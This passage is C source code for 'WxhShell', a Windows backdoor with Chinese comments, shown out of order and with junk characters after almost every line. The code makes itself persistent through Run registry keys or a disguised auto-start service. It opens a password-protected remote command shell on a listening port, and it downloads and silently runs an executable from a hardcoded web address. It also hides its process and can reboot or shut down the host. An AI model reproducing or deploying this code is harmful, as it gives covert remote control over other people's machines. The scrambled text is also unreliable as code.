} PROCESS_BASIC_INFORMATION; R^t
)~\d
2Mqac:L
PROCNTQSIP NtQueryInformationProcess; "Yh[-[,
?r< F/$/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~n)gP9Hv
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WsHC%+\'
P?QVT;]
HANDLE hProcess; a+wc"RQ
|
PROCESS_BASIC_INFORMATION pbi; ,V$PV,G
G3 h&nH,>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #f*,mY|>
if(NULL == hInst ) return 0; =lyP &u
y]9PLch]vZ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AfQ?jKk&{'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u+
wKs`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (WoKrd.!
z>n<+tso
if (!NtQueryInformationProcess) return 0; ZAKNyA2
ykq9]Xqhv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >$^v@jf
if(!hProcess) return 0; =^nb-9.
{R5{v6m_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E05RqnqBn0
3WH"NC-O<
CloseHandle(hProcess); -wA^ao
G5;N#^myJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !%v=9muay
if(hProcess==NULL) return 0; <W$Ig@4[.d
%+>t @F,GM
HMODULE hMod; $x%3^{G
char procName[255]; j?eWh#[K"
unsigned long cbNeeded; {'(1c)q>
WnATgY t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u+U '|6)E
I\8f`l
CloseHandle(hProcess); | dLA D4%
A4kYEA
if(strstr(procName,"services")) return 1; // 以服务启动 ez2rCpA
K/^70;/!.
return 0; // 注册表启动 d5b \kR r
} 4tZnYGvqe
(YOp
// 主模块 K9-?7X
int StartWxhshell(LPSTR lpCmdLine) 0u,OW
{ fe,A\W&8
SOCKET wsl; $ U~3$*R
BOOL val=TRUE; f;Cu@z{b
int port=0; Kz v*`
struct sockaddr_in door; sg=mkkD!g
=%wwepz6
if(wscfg.ws_autoins) Install(); }Y{aVn&C
L%3m_'6QP
port=atoi(lpCmdLine); xt{f+c@P
k3:8T#N>!O
if(port<=0) port=wscfg.ws_port; NZj_7j|o9
^:c:~F6J
WSADATA data; 'yrU_k,h
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jsXj9:X I
MV+S.`R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >
`uk2QdC
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !a(#G7zA
door.sin_family = AF_INET; wK0= I\WN9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dcK7Dd->
door.sin_port = htons(port); #<^ngoOj
`63?FzTy
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )2 Omsh
closesocket(wsl); ^5"2s:vP
return 1; n$z}DE5 #
} C>1fL6ct
&n5Lc`
if(listen(wsl,2) == INVALID_SOCKET) { 2f;fdzjk8K
closesocket(wsl); +`@)87O
return 1; '[XtARtY`
} ]["=K!la:
Wxhshell(wsl); ,g2oqq ?
WSACleanup(); .:<-E%
!3E
%u$-}
return 0; gEejLyOag
9}\{0;9
} 9`3%o9V9Y
f/_RtOSw
// 以NT服务方式启动 Z(' iZ'55F
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M- f)\`I
{ 3jH8pO^
DWORD status = 0; E0g`
xf6c
DWORD specificError = 0xfffffff; _~^JRC[q
|.]:#)^X?
serviceStatus.dwServiceType = SERVICE_WIN32; d"7l<y5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'CTvKW
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'dnTu@mUT
serviceStatus.dwWin32ExitCode = 0; *1Q~/<W
serviceStatus.dwServiceSpecificExitCode = 0; dHE\+{K%-
serviceStatus.dwCheckPoint = 0; LuLnmnmB
serviceStatus.dwWaitHint = 0; c[/h7!/aH
k8]uy2R6}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NlBnV
if (hServiceStatusHandle==0) return; 9c/&+j
\xQ10\u
status = GetLastError(); 0K0[mC}ZwM
if (status!=NO_ERROR) <>jut
{ f* +eu@
serviceStatus.dwCurrentState = SERVICE_STOPPED; h{dR)#)GF<
serviceStatus.dwCheckPoint = 0; hQm"K~SW=
serviceStatus.dwWaitHint = 0; (#4
serviceStatus.dwWin32ExitCode = status; ac/=%om8u
serviceStatus.dwServiceSpecificExitCode = specificError; "R"7'sJMI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S\qYw(G
return; F<KUVe
} qkCj33v
Rf&~7h'+
serviceStatus.dwCurrentState = SERVICE_RUNNING; U~,~ GU=X
serviceStatus.dwCheckPoint = 0; :d&^//9
serviceStatus.dwWaitHint = 0; ,]OL[m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dy4!
>zxF
} AWp{n
t-xw=&!w
// 处理NT服务事件,比如:启动、停止 n1X.]|6'
VOID WINAPI NTServiceHandler(DWORD fdwControl) QQ+? J~
{ }d,iA FG
switch(fdwControl) ^,Paih
2
{ Y#'?3
case SERVICE_CONTROL_STOP: lP4A?J+Q
serviceStatus.dwWin32ExitCode = 0; sCX 8
serviceStatus.dwCurrentState = SERVICE_STOPPED; r A/jNX@S
serviceStatus.dwCheckPoint = 0; |@}Yady@C
serviceStatus.dwWaitHint = 0; Ha U6`IP
{ )czuJ5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8P wobln
} LK
"47
return; IX!Q X
case SERVICE_CONTROL_PAUSE: '?q \mi
serviceStatus.dwCurrentState = SERVICE_PAUSED; SA5
g~{"
break; De^GWO.?bT
case SERVICE_CONTROL_CONTINUE: kWv)+
serviceStatus.dwCurrentState = SERVICE_RUNNING; yq3i=RB(
break; [V\0P,l
case SERVICE_CONTROL_INTERROGATE: vm3B>ACJ
break; %fS__Tb#u
}; /$'R!d5r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ebbC`eFD
} c,$ >u,4
rt\i@}
// 标准应用程序主函数 A4}6hG#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gAy,uP~,
{ K_@[%
$6BD6\@
// 获取操作系统版本 yu3T5@Ww
OsIsNt=GetOsVer(); ^ Vl{IsY
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,ux?wa+
!nQ!J+ g
// 从命令行安装 1-@[th
if(strpbrk(lpCmdLine,"iI")) Install(); NJEubC?
] ~;x$Z)
// 下载执行文件 `@8QQB
if(wscfg.ws_downexe) { I8|7~jRB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;QT.|.t6
WinExec(wscfg.ws_filenam,SW_HIDE); #6])\
} R$'0<y8E*]
K._tCB:
if(!OsIsNt) { L-7?:
// 如果时win9x,隐藏进程并且设置为注册表启动 )qGw!^8
HideProc(); %R%e0|a
StartWxhshell(lpCmdLine); [B}$U|V0
} l]BIFZ~
else ]!yuD/4A
if(StartFromService()) 6
ufF34tA
// 以服务方式启动 G(LGa2;Zg
StartServiceCtrlDispatcher(DispatchTable); U5uO|\+)
else Mlr\#BO"9
// 普通方式启动 B~/:["zTh&
StartWxhshell(lpCmdLine); g]^@bxdg
}Y/uU"t
return 0; 3"ALohlL
} &E0d{2
PZVh)6f"c
C_SJ4Sh
KrcL*j&^
=========================================== +{Qk9Z
BDW%cs
+|#lUXC
\,YF['Qq
),#%jc2_^
<ID/\Qx`q
" MfJ;":]O!
&5]&6TD6
#include <stdio.h> w8!S;~xKI
#include <string.h> o!q3+Pp;}
#include <windows.h> D4e*Wwk
#include <winsock2.h> U)Cv_qe
#include <winsvc.h> i%jti6z$Hr
#include <urlmon.h> F iZe4{(p
-O.q$D=as
#pragma comment (lib, "Ws2_32.lib") 2!Bjs?K<bv
#pragma comment (lib, "urlmon.lib") jQ &$5&o
SE%B&8ZD
#define MAX_USER 100 // 最大客户端连接数 m+y5Q&;f
#define BUF_SOCK 200 // sock buffer inO)Y]|f
#define KEY_BUFF 255 // 输入 buffer ~j%g?;#*
"~
1:7{k
#define REBOOT 0 // 重启 E$B7E@(U
#define SHUTDOWN 1 // 关机 [ML%u$-
T%{qwZc+mJ
#define DEF_PORT 5000 // 监听端口 #bxU I{*J
*VJT]^_
#define REG_LEN 16 // 注册表键长度 MeD}S@H
#define SVC_LEN 80 // NT服务名长度 OEz'&))J
,BGaJ|k
// 从dll定义API A*;I}F
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ya[][!.G
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MHh>~Y(h
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]njObU)[zr
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p.(8e kh
H/qv%!/o
// wxhshell配置信息 Ne{2fV>8Ay
struct WSCFG { [PVem
int ws_port; // 监听端口 AfU~k!4`
char ws_passstr[REG_LEN]; // 口令 U^ bF}4m
int ws_autoins; // 安装标记, 1=yes 0=no S8+GM
char ws_regname[REG_LEN]; // 注册表键名 99GzhX_
char ws_svcname[REG_LEN]; // 服务名 /oA=6N#j
char ws_svcdisp[SVC_LEN]; // 服务显示名 gP&G63^
char ws_svcdesc[SVC_LEN]; // 服务描述信息 8SV.giG;
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2~yYwX
int ws_downexe; // 下载执行标记, 1=yes 0=no 3em&7QM
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {s ]yP_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0)@7$Xhf
]r]= Q"/5
}; P0R8
f
t0$}
// default Wxhshell configuration 5u\#@% \6
struct WSCFG wscfg={DEF_PORT, ,;RAPT4
"xuhuanlingzhe", :Q~Rb<']{x
1, }vppn=[Y
"Wxhshell", Wq5 Nc
"Wxhshell", @xKfqKoqg
"WxhShell Service", ]+C;C
"Wrsky Windows CmdShell Service", XTzz/.T;Z
"Please Input Your Password: ", ^0 zWiX
1, ,C4gA(')K
"http://www.wrsky.com/wxhshell.exe", |wef [|@%
"Wxhshell.exe" |f9fq~'1e
}; 2P&KU%D)0s
<oFZFlY@
// 消息定义模块 =f
FTi1]/h
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E=G"_
^hCE
char *msg_ws_prompt="\n\r? for help\n\r#>";
Zo=w8Hr
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O,$
?Pj6
char *msg_ws_ext="\n\rExit."; bl/tl_.p00
char *msg_ws_end="\n\rQuit."; @m#1[n;
char *msg_ws_boot="\n\rReboot..."; n'WhCrW
char *msg_ws_poff="\n\rShutdown..."; _9y
char *msg_ws_down="\n\rSave to "; 6),U(e%
puv/+!q
char *msg_ws_err="\n\rErr!"; =f{)!uW<4
char *msg_ws_ok="\n\rOK!"; vKX6@eg"
VLLE0W _]
char ExeFile[MAX_PATH]; d&N[\5q
int nUser = 0; rMV<}C ^
HANDLE handles[MAX_USER]; gb_r <j:w
int OsIsNt; @;^7kt
|.asg
SERVICE_STATUS serviceStatus; o@o0V
SERVICE_STATUS_HANDLE hServiceStatusHandle; 8`I/\8;H'p
zO@7V>2
// 函数声明 .ty^ k@J|]
int Install(void); U};~ff+
int Uninstall(void); "Uk "
int DownloadFile(char *sURL, SOCKET wsh); F.N4Q'2Z
int Boot(int flag); ZvQ~K(3
void HideProc(void);
Iu3*`H
int GetOsVer(void); F<W`zQ46
int Wxhshell(SOCKET wsl); #b^x! lR
void TalkWithClient(void *cs); e!eUgD
int CmdShell(SOCKET sock); d]fo>[%Xr
int StartFromService(void); ")gd)_FOS
int StartWxhshell(LPSTR lpCmdLine); GjHV|)^
Qp]-:b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -W6r.E$mC
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EWU(Al T
cx+li4v
// 数据结构和表定义 y2_^lW%
SERVICE_TABLE_ENTRY DispatchTable[] = :)~idVlV
{ ,_G((oS40
{wscfg.ws_svcname, NTServiceMain}, QTy xx
{NULL, NULL} /o/0 9K
}; ">-mZ'$#L
:J
7p=sX
// 自我安装 ?PpGBm2f*
int Install(void) Kuj*U'ed7t
{ 7 3 Oo;
char svExeFile[MAX_PATH]; E/<5JhI9~
HKEY key; :o2^?k8k
strcpy(svExeFile,ExeFile); bVLuv`A/
~|FKl%
// 如果是win9x系统,修改注册表设为自启动 K3CTxU(
if(!OsIsNt) { ?zS
t
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dg(fD>+
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Syf0dp3
RegCloseKey(key); &5x
]9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #z(JYw,
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x)^/3
RegCloseKey(key); uU|fCwQt
return 0; Z'u:Em
} )P)Zds@F
} J2vaKl
} ]j^V5y"
else { 2c%*u {=:
#iZ%CY\
// 如果是NT以上系统,安装为系统服务 BGe&c,feIc
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $<]G#&F
if (schSCManager!=0) C>A*L4c]F
{ JQ[~N-
SC_HANDLE schService = CreateService mbZS J
( RD$"ft]Vc
schSCManager, !awsQ!e|
wscfg.ws_svcname, 65@,FDg*i
wscfg.ws_svcdisp, sF+mfoMtG
SERVICE_ALL_ACCESS, >$%rs c}^
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Os9;;^k
SERVICE_AUTO_START, D>HX1LV
SERVICE_ERROR_NORMAL, 7yp}*b{s
svExeFile, e>GX]tK
NULL, _&]B
NULL, PX5K-|R
NULL, _ +"V5z
NULL,
Z>O2
NULL O<H5W|cM
); <<ze84E
if (schService!=0) K~U5jpc
{ I_h8)W
CloseServiceHandle(schService); cTq}H_hC
CloseServiceHandle(schSCManager); C}7c:4c
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !8z,}HUdK
strcat(svExeFile,wscfg.ws_svcname); V~9s+>
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3ZAPcpB2
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^hMJNy&R
RegCloseKey(key); X}-)io
return 0; @$e!|.{1q
} szDd!(&pv
} L{2KK]IF
CloseServiceHandle(schSCManager); 3T<aGW1
} RV&